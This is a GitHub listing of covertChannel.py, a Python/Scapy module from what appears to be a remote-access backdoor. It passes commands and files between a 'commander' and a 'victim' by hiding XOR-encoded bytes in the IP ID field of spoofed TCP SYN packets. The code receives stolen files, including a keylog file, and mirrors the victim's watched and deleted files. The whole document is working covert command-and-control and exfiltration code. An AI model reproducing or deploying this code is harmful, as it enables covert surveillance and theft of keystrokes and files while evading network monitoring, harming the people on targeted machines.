-
Notifications
You must be signed in to change notification settings - Fork 1
/
covertChannel.py
232 lines (201 loc) · 8.5 KB
/
covertChannel.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
from scapy.all import *
from scapy.layers.inet import *
from encryption import generate_key, xor_encrypt_decrypt
import os
import random
import time
class CovertChannel:
def __init__(
self, cmd_addr, victim_addr, cmd_port, victim_port, key=generate_key()
):
"""
Initialize the CovertChannel instance.
Args:
cmd_addr (str): The commander's IP address.
victim_addr (str): The victim's IP address.
cmd_port (int): The commander's port number.
victim_port (int): The victim's port number.
key (str): Encryption key.
"""
self.cmd_addr = cmd_addr
self.victim_addr = victim_addr
if victim_port == 0:
self.victim_port = random.randint(1, 65535)
else:
self.victim_port = victim_port
self.cmd_port = cmd_port
self.file_name = None
self.cmd = None
self.is_dir = False
self.path = f"downloads/{self.victim_addr}"
self.key = key
self.is_watching = False
def set_filename(self, file_name):
"""
Set the file name for transfer.
Args:
file_name (str): The name of the file.
"""
self.file_name = file_name
def send_data(self, for_victim: bool, event=None):
"""
Send data over the covert channel.
Args:
for_victim (bool): True if sending data to victim, False if receiving.
event (str): The event associated with the data.
"""
if for_victim:
src_addr = self.cmd_addr
src_port = self.cmd_port
dst_addr = self.victim_addr
dst_port = self.victim_port
else:
src_addr = self.victim_addr
src_port = self.victim_port
dst_addr = self.cmd_addr
dst_port = self.cmd_port
if self.cmd is not None:
print(f"COVERT:: SENDING {self.cmd}")
format_len_msg = "{:04d}".format(len(str(self.cmd)))
data = f"0000{format_len_msg}{self.cmd}".encode()
self.covert_send(data, src_addr, dst_addr, src_port, dst_port)
elif self.file_name and not self.is_dir:
print(f"COVERT:: SENDING {self.file_name}")
format_len_name = "{:02d}".format(len(self.file_name))
if event == "IN_MOVE_SELF" or event == "IN_MOVED_FROM":
data = f"11{format_len_name}0000{self.file_name}".encode()
self.covert_send(data, src_addr, dst_addr, src_port, dst_port)
return
if len(str(os.stat(self.file_name).st_size)) <= 4:
format_len_msg = "{:04d}".format(os.stat(self.file_name).st_size)
else:
print(f"COVERT:: Error Occurred")
exit()
if event == "IN_MODIFY" or event == "IN_MOVED_TO" or event == "IN_CREATE":
data = f"10{format_len_name}{format_len_msg}{self.file_name}".encode()
try:
data += open(self.file_name, "rb").read()
except Exception as e:
print(e)
self.covert_send(data, src_addr, dst_addr, src_port, dst_port)
elif self.file_name and self.is_dir:
format_len_name = "{:02d}".format(len(str(self.file_name)))
if event == "IN_MODIFY" or event == "IN_MOVED_TO" or event == "IN_CREATE":
data = f"20{format_len_name}0000{self.file_name}".encode()
elif event == "IN_MOVE_SELF" or event == "IN_MOVED_FROM":
data = f"21{format_len_name}0000{self.file_name}".encode()
self.covert_send(data, src_addr, dst_addr, src_port, dst_port)
def receive_data(self, for_victim: bool):
"""
Receive data from the covert channel.
Args:
for_victim (bool): True if receiving data from victim, False if sending.
Returns:
str: The received data.
"""
is_file = self.get_packets(1, for_victim)[0]
if is_file == "1":
is_file = True
is_dir = False
elif is_file == "2":
is_dir = True
is_file = False
else:
is_file = False
is_dir = False
event = int("".join(self.get_packets(1, for_victim)))
file_name_len = int("".join(self.get_packets(2, for_victim)))
msg_len = int("".join(self.get_packets(4, for_victim)))
msg = "".join(self.get_packets(msg_len + file_name_len, for_victim))
if is_file:
filename = msg[:file_name_len]
if filename == "keylog.txt" or not self.is_watching:
if not for_victim:
filename = self.path + f"/{filename}"
with open(filename, "wb") as f:
f.write((msg[file_name_len:]).encode())
print(f"COVERT:: File Received, saved as {filename}")
return
if event:
os.makedirs(
os.path.dirname(self.path + f"/deleted/{filename}"), exist_ok=True
)
print(f"[Deleted] {filename} moved to {self.path}/deleted/{filename}")
current_path = self.path + f"/watching/{filename}"
deleted_path = self.path + f"/deleted/{filename}"
if os.path.isdir(current_path):
if os.listdir(current_path):
for item in os.listdir(current_path):
item_path = os.path.join(current_path, item)
os.rename(item_path, deleted_path + f"/{item}")
os.rmdir(current_path)
else:
os.rename(
self.path + f"/watching/{filename}",
self.path + f"/deleted/{filename}",
)
else:
filename = self.path + f"/watching/{filename}"
with open(filename, "wb") as f:
f.write((msg[file_name_len:]).encode())
print(f"[File Received] saved as {filename}")
elif is_dir:
fname = self.path + "/watching/" + msg
if not event:
os.makedirs(fname, exist_ok=True)
elif event:
os.rmdir(fname)
os.makedirs(self.path + f"/deleted/{msg}", exist_ok=True)
else:
return msg
def get_packets(self, count: int, for_victim: bool):
"""
Get packets from the covert channel.
Args:
count (int): The number of packets to retrieve.
for_victim (bool): True if retrieving packets for victim, False if for commander.
Returns:
list: List of received packets.
"""
if for_victim:
src_addr = self.cmd_addr
dst_port = self.victim_port
else:
src_addr = self.victim_addr
dst_port = self.cmd_port
data = []
def process_packet(incoming_packet):
if not incoming_packet.haslayer(TCP) and not incoming_packet.haslayer(IP):
return
ch = chr(xor_encrypt_decrypt(incoming_packet[IP].id, self.key))
data.append(ch)
sniff(
filter=f"dst port {dst_port} and src host {src_addr}",
lfilter=lambda i: i[TCP].flags & 2,
prn=process_packet,
store=0,
count=count,
)
return data
def __str__(self):
return (
f"src_ip:{self.cmd_addr}src_port:{self.cmd_port}::dst_ip:{self.victim_addr}:{self.victim_port}::"
f"filename:{self.file_name}::cmd:{self.cmd}::dir:{self.is_dir}"
)
def covert_send(self, data, src_addr, dst_addr, src_port, dst_port):
"""
Send data over the covert channel.
Args:
data (bytes): The data to send.
src_addr (str): Source IP address.
dst_addr (str): Destination IP address.
src_port (int): Source port number.
dst_port (int): Destination port number.
"""
for ch in data:
ip_id = xor_encrypt_decrypt(ch, self.key)
sr_packet = IP(src=src_addr, dst=dst_addr, id=ip_id) / TCP(
sport=src_port, dport=dst_port, flags="S"
)
time.sleep(0.05)
send(sr_packet, verbose=False)